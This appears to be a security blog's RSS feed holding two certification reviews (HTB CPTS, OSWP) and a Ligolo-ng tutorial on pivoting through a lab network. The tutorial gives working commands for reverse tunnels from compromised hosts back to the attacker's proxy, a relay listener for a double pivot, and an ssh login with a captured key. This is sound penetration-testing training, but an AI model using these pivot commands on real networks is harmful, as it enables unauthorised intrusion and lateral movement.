<p>Having spent a considerable amount of time immersed in web-related attacks in the <a target="_blank" href="https://4pfsec.com/oswe">AWAE labs</a> over the last 4 months, I began to feel a sense of detachment from the realm of Active Directory (AD) exploitation and pivoting. Now that I was done with the web attacks for the time being, I wanted to return to the Active Directory side of things and was looking for something to help hone my skills in this domain (haha...). That's when HTB's CPTS popped back into my radar. I initially came across the CPTS roughly 9 months ago when it was first announced.</p>
<blockquote>
<p>HTB Certified Penetration Testing Specialist (HTB CPTS) is a highly hands-on certification that assesses the candidates’ penetration testing skills. HTB Certified Penetration Testing Specialist certification holders will possess technical competency in the ethical hacking and penetration testing domains at an intermediate level. They will be able to spot security issues and identify avenues of exploitation that may not be immediately apparent from searching for CVEs or known exploit PoCs.</p>
</blockquote>
<p>Having completed the course and cleared the exam, I felt compelled to share my experience and provide valuable insights for those who are interested in embarking on this journey or for those who are simply curious. As always I'll be splitting up the review into several parts.</p>
<hr />
<h1 id="heading-background">Background</h1>
<p>My experience with Active Directory (AD) has been a mix of exploration and hands-on learning. While my AD experience may not be extensive, I've built my own minimal <a target="_blank" href="https://ad.4pfsec.com/">AD environment</a> in my <a target="_blank" href="https://homelab.4pfsec.com/">home lab</a> which allowed me to gain practical experience in setting up and configuring AD components, as well as understanding the intricacies of user management, group policies, and authentication mechanisms.</p>
<p>The greater chunk of my AD exploitation knowledge comes from the <a target="_blank" href="https://4pfsec.com/zero-point-securitys-certified-red-team-operator-crto-review">CRTO (Certified Red Team Operator)</a> course which I had enrolled in last year which provided me with a deep understanding of the various AD attack vectors. From reconnaissance and privilege escalation to lateral movement and persistence techniques, I acquired a solid foundation in AD exploitation through the CRTO course materials. Even though the iteration of OSCP I took did cover AD, I wasn't evaluated for it on my exam.</p>
<p>On top of these, I passively engaged in various challenge labs that focused on AD from time to time. These helped with the labs and challenges throughout CPTS.</p>
<hr />
<h1 id="heading-the-course">The Course</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686558198011/0f9d8c8e-c6d4-4a6f-af8d-786a2cc4f803.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-penetration-tester-path">Penetration Tester Path</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686557656732/5efe4675-2dd1-4f49-9d6c-26e82fdcdf90.png" alt class="image--center mx-auto" /></p>
<p>The Penetration Tester Job Role path is what you've to go through before being eligible to take the exam. This is the course that accompanies the exam. The course is extremely well put together and consists of the following domains:</p>
<ul>
<li><p>Web attacks</p>
</li>
<li><p>Local Privilege Escalation (Windows &amp; Linux)</p>
</li>
<li><p>Post-exploitation</p>
</li>
<li><p>Basic C2 (Metasploit Framework)</p>
</li>
<li><p>Active Directory Enumeration &amp; Attacks</p>
</li>
<li><p>Pivoting &amp; Lateral Movement</p>
</li>
<li><p>Penetration testing processes</p>
</li>
<li><p>Vulnerability Assessment &amp; Reporting</p>
</li>
</ul>
<h2 id="heading-the-good">👍The Good</h2>
<p>The course content was of high quality and was accompanied by individual labs that apply the concepts taught in the module.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686558969830/e48f986d-07c8-4823-b2d5-114cb93f3204.png" alt class="image--center mx-auto" /></p>
<p>This is a snippet of some of the modules in the <code>ACTIVE DIRECTORY ENUMERATION &amp; ATTACKS</code> section. Modules with the cube icon imply that they contain interactive labs to practice the theory taught.</p>
<p>There are roughly about 500 exercises and tasks that you'll go through while embarking on the penetration tester path. The course covers quite a number of domains and it does it well. Fundamentals are well explained and easy to understand. I learned a couple of interesting techniques from the modules given my experiences.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686560551474/e359477e-3601-41d6-b3e5-2bc74a405814.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686560625879/8db29043-9772-4a68-b93b-34bc72f665f2.png" alt class="image--center mx-auto" /></p>
<p>At the end of most modules, there's a <code>Skills Assessment</code> section which usually consists of a multi-part exercise or exercises of varying difficulty. The Skills Assessment does not come with a guided walkthru / theory writeups like other chapters. They consist of all possible attack vectors learned in the entire module. They are also a good gauge to see where you stand and if you're able to solve challenges without some form of hand-holding.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686560969151/642d5224-e796-46b2-ac37-10cad6d05df7.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686561286834/726657c9-08ef-45c1-a5a5-d7400bd98729.png" alt class="image--center mx-auto" /></p>
<p>At the end of the course, you'll face this module called <code>ATTACKING ENTERPRISE NETWORKS</code>. This module covers all aspects of a penetration test from start to finish. You'll work through a simulated External Penetration Test resulting in internal network access and ultimate compromise of the Active Directory environment. Most importantly, this module walks through each and every step toward Domain Dominance. It's highly advised to go through this network without the walkthrough. It helps give an estimate of how ready you are for the examination.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686561702841/23bc3b0a-c9ca-480d-93e4-bde650c2a646.png" alt class="image--center mx-auto" /></p>
<p>This network is also what I based the <a target="_blank" href="https://4pfsec.com/ligolo">Ligolo-ng write-up</a> on. Its a well-put-together lab that consists of web attacks, active directory exploitation, pivoting through multiple subnetworks and more. I personally enjoyed this end of course exercise. After going through it blind, I'd definitely recommend others to go through it a second time with the walkthrough. The walkthrough addresses some of the attacks that should be done while on an engagement even though they may not yield valuable results. This includes password spraying, LLMNR spoofing, kerberoasting all possible accounts and more. And as always, taking good notes throughout the practice engagement definitely helps in the exam! Though, being able to do this blindly might not necessarily mean that you're ready for the exam. Mileage varies based on experience!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686567520085/b1d97f5b-a309-4cb1-b1d8-d61be9c6a155.png" alt class="image--center mx-auto" /></p>
<p>One of the best thing about the platform was the <code>Global Search</code>. This search allows students to search for anything site-wide. Super useful when it comes to finding a certain technique.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686772507689/489256b9-1106-4f0f-ab52-55b580b8a1ff.png" alt class="image--center mx-auto" /></p>
<p>The HTB CPTS certification course not only offers immense value but is also priced exceptionally well. Each dollar spent on this course is truly worth it, considering the high quality and comprehensive content it provides. The attention to detail and the expertise of the instructors shine through every module.</p>
<p>You could pay the $490 to get access to all <code>Tier II</code> modules and an exam voucher (which comes with a free retake) or....</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686772836180/4e844e60-200b-45b3-9d75-9228715b4578.png" alt class="image--center mx-auto" /></p>
<p>if you have access to your personal <code>.edu</code> mail, you could pay $8 a month for the same level off access and purchase the exam voucher separately for $210</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686772900001/46fbb6f4-3d18-4ac5-816b-d0fc93eb20e5.png" alt class="image--center mx-auto" /></p>
<p>*All prices are in USD*</p>
<h2 id="heading-the-bad">👎The Bad</h2>
<p>My iteration of this section will probably be different from yours but hey here are things that I found to be iffy for me.</p>
<h3 id="heading-the-text">The Text</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686562907004/b6c0b2fd-c53d-452d-816a-5f50e7d7369f.png" alt class="image--center mx-auto" /></p>
<p>The course was a bit too wordy for me and I'm sure this is probably a <code>me</code> problem. I'm more of a visual learner and I prefer video walkthrough's where I can see things in action and learn.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686563318517/00903436-88e3-4035-a2cd-af434a67f748.png" alt class="image--center mx-auto" /></p>
<p>However, the course did have extensive screenshots and code snippets to make up for that. I'd still have preferred videos. Each to their own I guess.</p>
<h3 id="heading-forced-100-course-completion">Forced 100% Course Completion</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686563528285/294c08b9-f5cc-4309-92e6-8ddb50d2dd69.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686569012672/b9fe6135-0d5b-4122-9f0f-19ee71fa74fb.png" alt class="image--center mx-auto" /></p>
<p>The other issue I had with the course was that students were forced to complete all tasks and challenge labs that come with the <code>Penetration Tester</code> job-role path before they could start the examination process.</p>
<p>This puts students with prior experience at a slight disadvantage. Experienced students would have to sit through sections that they are already well versed in and painstakingly complete the corresponding challenge labs.</p>
<p>I get why they're doing this but there should be some sort of opt-out program that helps seasoned students.</p>
<hr />
<h1 id="heading-the-exam">The Exam</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686564125580/86179397-048c-4e41-a82f-fdd6e425fcb1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-about">About</h2>
<blockquote>
<p>The candidate will have to perform blackbox web, external and internal penetration testing activities against a real-world Active Directory network hosted in HTB’s infrastructure and accessible via VPN (using Pwnbox or their own local VM). Upon starting the examination process, a letter of engagement will be provided that will clearly state all engagement details, requirements, objectives, and scope. All a candidate needs to perform the required penetration testing activities is a stable internet connection and VPN software. HTB Certified Penetration Testing Specialist is the most up-to-date and applicable certification for Penetration Testers that focuses on both penetration testing and professionally communicating findings.</p>
</blockquote>
<p>Candidates are given 10 days to complete the exam and the corresponding report. The exam consists of multiple networks (External &amp; Internal). It covers most if not all domains taught in the course.</p>
<p>There are a total of <strong>14 flags</strong> spread across multiple machines on the network which add up to <strong>100 points</strong>. Candidates require at least <strong>12 flags (85 points)</strong> with a <strong>comprehensive report</strong> to pass the examination. The general flow of the exam is very similar to the <code>ATTACKING ENTERPRISE NETWORKS</code> module but the complexity varies heavily.</p>
<h2 id="heading-my-experience">My Experience</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686567469718/f968e19a-f68b-4b92-bd8e-94114bcccc85.png" alt class="image--center mx-auto" /></p>
<p>I cleared the exam with all 14 flags and 100 points. I personally used up all the time given for both the report and the actual exploitation.</p>
<p>The first couple of hours were pretty draining. Just extensive Enumeration of all services exposed and a lot of note-taking. I was also mentally coming up with diff paths that could be viable. Including some questionable ones (🤔).</p>
<p>After a couple more hours of enumeration, I had the ball rolling....or at least I thought so. There'd be one major move followed by a couple of minor steps which was simpler compared to the bigger hurdle.</p>
<p>Here's something a friend of mine said to me while I was stuck at one of the lateral move steps:</p>
<blockquote>
<p>If you're stuck for too long on a single target, it means that you are stuck on a single way of thinking.</p>
</blockquote>
<p>It's cliche but taking a break during those long hour sessions really does help. The exam lab is extremely well made and I found it to be pretty diverse in terms of attack vectors. Extremely comparable to other exams labs I've crunched through. Its right up there.</p>
<p>Overall, the exam is definitely challenging &amp; draining but pushes the candidate to apply everything that was taught during the course. I don't think there was knowledge from any chapter that wasn't applied in the exam. The exam also teaches students time management and the importance of reporting.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686771463587/e5b448c8-cb9f-458b-968e-05fb041aa38c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-reporting">Reporting</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686567427774/30af6fae-e6ed-4b36-be51-e134284a9f55.png" alt class="image--center mx-auto" /></p>
<p>Reporting was a big thing throughout the exam. I've always been used to taking raw notes and reporting all at once at the end of the exam. I found that to be a bit exhausting this time around given that it was a comprehensive engagement. I plan to report as I go from now on. We'll see how that goes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686568076578/b3a362c2-d10c-4d75-914b-639484d9f19c.png" alt class="image--center mx-auto" /></p>
<p>HTB Provides students with a report template and highly advises students to make use of their template as it sort of tells students what they're looking for and makes grading the exam easier for them.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686568179048/e451c61b-d8ad-46d1-8594-7eba24bfbbb9.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686568210252/02d5cba8-130b-4289-a141-c5d091f658d5.png" alt class="image--center mx-auto" /></p>
<p>Here are a few snippets of the report template given to the students at the start of the examination. The report requires students to provide a full walkthrough of the engagement. Showcasing how the pentester went from having no access to gaining Root access / Domain Dominance.</p>
<hr />
<h1 id="heading-conclusion">Conclusion</h1>
<p>In conclusion, the HTB CPTS certification has proven to be a valuable and transformative learning experience for me. This course has provided me with the opportunity to delve into the world of AD exploitation and address the areas where I felt a lack of knowledge. However, the course does cover more than just AD as mentioned in this writeup. The comprehensive curriculum and hands-on approach have allowed me to bridge some of the gaps in my understanding.</p>
<p>In summary, I recommend the HTB CPTS certification to individuals eager to deepen their understanding of offensive security (&amp; AD Exploitation for that matter). This course provides a comprehensive and practical foundation for addressing various security challenges and honing penetration testing skills.</p>
<p>With that out of the way, on to the next! 😁</p>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686771948804/7846ed60-95ea-4f17-92ba-bbd8aa88bf83.png" alt class="image--center mx-auto" /></p>
<p>- Nee</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSWP - Foundational Wireless Network Attacks - Review (2023)]]></title><description><![CDATA[Introduction
Greetings, fellow cyber peoplez! Just wanted to give you guys some insight into my journey towards earning the Offensive Security Wireless Professional (OSWP) certification. In this blog post, I will take you through some of my experienc...]]></description><link>https://4pfsec.com/oswp</link><guid isPermaLink="true">https://4pfsec.com/oswp</guid><category><![CDATA[wireless network]]></category><category><![CDATA[information security]]></category><category><![CDATA[Certification]]></category><category><![CDATA[offsec]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sun, 21 May 2023 19:41:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1684697986595/af8aeec0-57ab-48df-bfb1-9129771f77a7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>Greetings, fellow cyber peoplez! Just wanted to give you guys some insight into my journey towards earning the Offensive Security Wireless Professional (OSWP) certification. In this blog post, I will take you through some of my experiences throughout this certification and how I tackled some of the issues I faced.</p>
<p>The PEN-210 (OSWP) is considered a foundational course alongside the PEN-200 (OSCP). In comparison to the challenging PEN200 certification(💀), the OSWP certification can be seen as a more approachable step in the journey towards wireless network security. In other words, it's not as tough!</p>
<hr />
<h1 id="heading-background">Background</h1>
<p>I've had little to no (practical) experience pentesting wireless networks before this. However, I was familiar with the aircrack suite and cracking tools that can be used in conjunction with it. I had a <a target="_blank" href="https://4pfsec.com/wireless-hacking-with-the-wifi-pineapple">wifi pineapple</a> for a little while and was experimenting with it couple of months ago.</p>
<p>Thus, I was looking forward to getting more hands-on experience with this course. I'm proficient in setting up wired networks but that proficiency didn't carry over to the wireless side of things while setting up the labs.</p>
<hr />
<h1 id="heading-gear">Gear</h1>
<h2 id="heading-router">Router</h2>
<ul>
<li><p>NETGEAR AC1000 (R6080)</p>
</li>
<li><p>Linksys WiFi 5 Router Dual-Band AC1200 (E5400)</p>
</li>
</ul>
<p>Offsec recommends the routers mentioned above to all students taking the course. However, they're pretty old (as expected) and the availability of the router depends heavily on where you're based out of. Fret not, there were some alternatives that saved me.</p>
<h3 id="heading-dd-wrt">DD-WRT</h3>
<blockquote>
<p>DD-WRT is a Linux based alternative OpenSource firmware suitable for a great variety of WLAN routers and embedded systems. The main emphasis lies on providing the easiest possible handling while at the same time supporting a great number of functionalities within the framework of the respective hardware platform used.</p>
</blockquote>
<p>After some intense g00gling, I came across dd-wrt which was the evolved version of OpenWrt. I had this extremely old D-Link <code>dir-868L</code> sitting around collecting dust in my rack.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684695865009/dc98276f-e0be-4d3c-87c6-69399ca3c816.png" alt class="image--center mx-auto" /></p>
<p>Luckily enough dd-wrt had custom firmware for it and I was able to flash it with no issues. If you were going to purchase the recommended router, I'd recommend looking into dd-wrt to check for your old router's compatibility before wasting some cash.</p>
<h2 id="heading-wireless-adapter">Wireless Adapter</h2>
<ul>
<li><p>Alfa AWUS036NHA</p>
</li>
<li><p>For wireless card compatibility, please refer to the <a target="_blank" href="https://www.aircrack-ng.org/doku.php?id=compatibility_drivers">Aircrack-ng wiki</a></p>
</li>
</ul>
<p>For the wireless adapter, Offsec recommends students to get the Alfa adapter mentioned above or rever to the Aircrack wiki and pick one of their liking.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684696504906/e5632c67-10af-4e8f-925b-3062c8fc971e.png" alt class="image--center mx-auto" /></p>
<p>However, I ended up getting an Alfa <code>AC1900</code> which was slightly overkill. After the card arrived, I realized that the Kali did not support the adapter out of the box. Thankfully the fix was as simple as installing the following package.</p>
<pre><code class="lang-plaintext">apt install realtek-rtl8814au-dkms
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684696202086/de8314bf-f9a5-4104-8404-fca5dafcc3e3.png" alt class="image--center mx-auto" /></p>
<p>Shoutout to this kind soul over in the Amazon reviews section😂.</p>
<hr />
<h1 id="heading-labs">Labs</h1>
<p>With the gear out of the way, let's discuss labs. To make things somewhat difficult, the course did not come with any labs. This would explain why offsec had to recommend routers. Students were required to set up most if not all the labs by themselves. However, there were a ton of guides on how to set up the following networks for attacking. (WEP, WPA[1/2/enterprise], WPS).</p>
<p>Setting up the various networks with dd-wrt wasn't too complicated. The process was pretty much the following:</p>
<ul>
<li><p>Find a guide</p>
</li>
<li><p>Find the corresponding setting on my dd-wrt GUI</p>
</li>
<li><p>Wait for the network to go up</p>
</li>
</ul>
<p>The "annoying" part was actually getting a client to connect to the network constantly and capture the attack. I just ended up using another VM with a wifi adapter passed through.</p>
<p>Do keep in mind to verify that your router is not using <code>802.11W</code> as that would prevent deauth attacks and make it tougher for you to capture the handshakes.</p>
<hr />
<h1 id="heading-the-exam">The Exam</h1>
<h2 id="heading-my-experience">My Experience</h2>
<p>The exam was pretty straightforward. I was presented with 3 different types of networks to attack and had to successfully compromise 2 out of the 3 networks to pass. However, there was a guideline that stated that cracking 1 of the networks was mandatory to pass. This basically meant that you could only "choose" one other network to compromise.</p>
<p>My exam environment was pretty stable (for the most part). When I was sniffing on one of the networks, I was only getting stations. Thankfully that issue was solved with a simple revert.</p>
<p>Word of advice, don't limit yourself to the tools within the coursebook. There might be another tool out there that might get things done with a little bit more ease even though the end product is the same.</p>
<h2 id="heading-thoughts">Thoughts</h2>
<p>Overall, the exam was pretty doable as long as you went through the courseware and familiarised yourself with the commands and processes! Reporting was as simple as other offsec examinations. Modify the <a target="_blank" href="https://www.offsec.com/wifu/OSWP-Exam-Report.docx">given template</a> to your liking and submit!</p>
<hr />
<h1 id="heading-conclusion">Conclusion</h1>
<p>I enjoyed the PEN-210 and understood some fundamental content and debunked a few misconceptions of mine. Was definitely less stressful compared to the other offsec courses I underwent. Hope this helps someone out there, all the best for your attempt!</p>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684698147669/794998d6-b8d8-4617-b403-fc8428ee64a5.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Ligolo-ng: Tunneling like a VPN]]></title><description><![CDATA[Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

https://github.com/nicocha30/ligolo-ng
 
Background
Pivoting is a techn...]]></description><link>https://4pfsec.com/ligolo</link><guid isPermaLink="true">https://4pfsec.com/ligolo</guid><category><![CDATA[Active Directory]]></category><category><![CDATA[networking]]></category><category><![CDATA[pivoting]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Mon, 15 May 2023 21:38:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1684186703302/af2050fc-a972-4acb-8351-6cc1680a7917.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Ligolo-ng</strong> is a <em>simple</em>, <em>lightweight</em> and <em>fast</em> tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a <strong>tun interface</strong> (without the need of SOCKS).</p>
</blockquote>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/nicocha30/ligolo-ng">https://github.com/nicocha30/ligolo-ng</a></div>
<p> </p>
<h1 id="heading-background">Background</h1>
<p>Pivoting is a technique used by attackers to move from one compromised system to another. This can be a valuable tool for attackers, as it allows them to expand their reach and access more sensitive data.</p>
<p>By pivoting, pentesters can gain access to systems that would otherwise be unreachable. I've been working through a couple of labs recently and it has made me realize how painstaking manual pivoting is.</p>
<p>I have used a variety of tools for pivoting, including chisel, shuttle, SSH reverse port forward paired with proxychains, <s>ngrok</s> and plink. However, I have found that these tools can be cumbersome and difficult to use (when there are multiple networks stacked on top of each other). During my lab time with <a target="_blank" href="https://4pfsec.com/zero-point-securitys-certified-red-team-operator-crto-review">Cobalt Strike</a>, I realized how easy pivoting with a C2 framework was.</p>
<p>Recently, I discovered a new tool called <strong>Ligolo-ng</strong> written by <a target="_blank" href="https://twitter.com/Nicocha30">Nicolas Chatelain</a> that I found to be much more user-friendly and effective in what it does. Upon usage I found Ligolo to be a C2 framework just for pivoting &amp; proxying. I'd be covering the setup, usage and practicality of this tool in this post!</p>
<hr />
<h1 id="heading-video-demo">Video Demo</h1>
<p>Here's a video demo showcasing the tool's capability! This'll help you decide if you should continue reading.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/ucMhBpvZTWY">https://youtu.be/ucMhBpvZTWY</a></div>
<p> </p>
<hr />
<h1 id="heading-network">Network</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184907945/d25e5774-8119-4878-8d5d-75d2f6c47e29.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">NETWORK A - 10.129.203.0/24
NETWORK B - 172.16.8.0/24
NETWORK C - 172.16.9.0/24

DMZ01 - Connected to both Network A &amp; B
DC01  - Connected to both Network B &amp; C
</code></pre>
<p>This is the network that we'll be pivoting through and testing this tool on. Our first pivot will be on <code>DMZ01</code> to enable us to access Network B and the following double pivot would be on <code>DC01</code> to enable us to access Network C.</p>
<hr />
<h1 id="heading-prerequisites">Prerequisites</h1>
<p>Pick your poison and meet me over at the next section!</p>
<h2 id="heading-compiling-binaries">Compiling Binaries</h2>
<pre><code class="lang-plaintext">$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
</code></pre>
<h2 id="heading-precompiled-binaries">Precompiled binaries</h2>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/nicocha30/ligolo-ng/releases">https://github.com/nicocha30/ligolo-ng/releases</a></div>
<p> </p>
<h3 id="heading-terminologies">Terminologies</h3>
<pre><code class="lang-plaintext">PROXY SERVER = C2 / Kali Box
AGENT = pwned host / victim box
</code></pre>
<hr />
<h1 id="heading-setting-up-the-proxy-server">Setting up the Proxy Server</h1>
<p>This section will cover setting up of the Proxy Server on the Kali Box</p>
<h2 id="heading-creating-a-tun-interface">Creating a TUN Interface</h2>
<pre><code class="lang-plaintext">sudo ip tuntap add user nee mode tun ligolo
sudo ip link set ligolo up
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684182783410/0bf76f55-e627-4463-a3a2-389a4a12ccc4.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-verifying-interface">Verifying Interface</h3>
<pre><code class="lang-plaintext">ip a
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684182845324/f8b5b9ec-5e0a-420f-aba9-54329fc759a6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-starting-the-proxy-server">Starting the Proxy Server</h2>
<pre><code class="lang-plaintext">./proxy -selfcert
</code></pre>
<p>Running <code>./proxy -autocert</code> will generate legitimate certificates using Let's Encrypt.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684182956010/64ae4cf1-f82d-4b3c-a46b-6809eed4b374.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-setting-up-the-agent">Setting up the Agent</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684185697573/33a129bc-504e-433c-b5e0-e0a603200ea9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">RED - Hosts reachable
BLUE - Established Pivot Tunnel
</code></pre>
<p>Once we've set up the agent on DMZ01, we'd have owned 2 networks and we'd be able to access all hosts on Network B using the pivot on DMZ01.</p>
<p><strong>DMZ01</strong></p>
<p>We can see that the DMZ01 host has 2 network adapters. However, from our KALI we are only able to hit the <code>10.129.203.0/16</code> network before the pivot.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684182998224/c74c28ea-588f-4c91-8079-d92b88c34c8f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-connecting-to-proxy-server">Connecting to Proxy Server</h2>
<pre><code class="lang-plaintext">./agent -connect 10.10.15.146:11601 -ignore-cert
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183025541/41258028-02ec-472d-8f95-be5cc82dab15.png" alt class="image--center mx-auto" /></p>
<p>Now that we're successfully connected we can head back to the Kali box and add an <code>ip route</code>. This is to let our Kali box know which interface to use whilst accessing the pivot networks.</p>
<h3 id="heading-adding-a-new-route-on-proxy-server">Adding a new route on Proxy Server</h3>
<pre><code class="lang-plaintext">sudo ip route add 172.16.8.0/24 dev ligolo
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183124222/fe78fe4a-4e96-4fe0-b35c-efdeed43c846.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-checking-connectivity-to-hosts-on-network-b">Checking Connectivity to Hosts on Network B</h2>
<pre><code class="lang-plaintext">ping 172.16.8.3
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183167405/1badb130-b09c-430d-bc14-fdf34f93acd4.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">cme smb 172.16.8.0/24
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183177213/6a69ddee-15c3-4dd4-9945-d0e93501ca29.png" alt class="image--center mx-auto" /></p>
<p>Nice! We're able to reach Network B thru our pivot 👍</p>
<hr />
<h1 id="heading-double-pivot">Double Pivot</h1>
<p>This is where things usually get a little chaotic. Usually we'd have sshuttle running on the initial pivot and we'd put in place a SSH reverse port forward or a SOCAT port forward on the initial pivot to send connections back to the Kali box and then use something like chisel to establish a tunnel with the double pivot box.</p>
<p>With <strong>Ligolo</strong>, we're able to do something similar to <a target="_blank" href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/pivoting_reverse-port-forward.htm">cobalt strike's</a> <code>rportfwd</code>. The <code>rportfwd</code> command on cobalt strike will bind a port on the compromised target and relay all incoming traffic to a specified host and port. Ligolo is able to perform this exact task with the <code>listener_add</code> command. This eliminates the need for multiple SSH reverse port forwards. Everything can be done within the same tunnel. Let's take a look at how that's done.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684186241621/28ebee29-5cb1-42f1-a917-28d1a62f186d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">RED - Hosts Reachable
BLUE - Established Pivot Tunnel
</code></pre>
<p>With the help of <code>listener_add</code> on DMZ01, we're able to establish a secure tunnel with the DC which we can use to directly access Network C without proxychains (🤢)!</p>
<h2 id="heading-creating-a-listener">Creating a Listener</h2>
<p>(The box that is connected to both Network A and Network B)</p>
<p>on the initial pivot to send the new host's traffic to the Proxy server so that its able to establish a tunnel.</p>
<pre><code class="lang-plaintext">listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
listener_list
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183793212/39627bc6-0a98-4267-82c5-77a0872bd603.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-connect-double-pivot-box-to-proxy-server">Connect Double Pivot box to Proxy Server</h2>
<p>(The box that is connected to both Network B and Network C)</p>
<pre><code class="lang-plaintext">./agent.exe -connect 172.16.8.120:11601 -ignore-cert
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183890399/14ca15ec-d012-4013-8c1b-d8322ebcaa2a.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-start-tunnel">Start Tunnel</h3>
<p>(On Proxy Server)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183933474/235e28d5-4894-463a-bbb6-847ee6457b6e.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-adding-a-new-route-on-proxy-server-1">Adding a new route on Proxy Server</h3>
<pre><code class="lang-plaintext">sudo ip route add 172.16.9.0/24 dev ligolo
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684183970690/b189fcd8-296c-4712-9494-cf73c0ce957b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-checking-connectivity-to-hosts-on-network-c">Checking Connectivity to Hosts on Network C</h2>
<pre><code class="lang-plaintext">ping 172.16.9.25
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184059247/c8304a7b-c178-44db-9b09-7c4791a7e8c8.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">nmap -Pn -p 22 172.16.9.25
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184073164/f7054b3d-064f-4369-b714-929638840691.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">ssh -i ssmallsadm.key ssmallsadm@172.16.9.25
</code></pre>
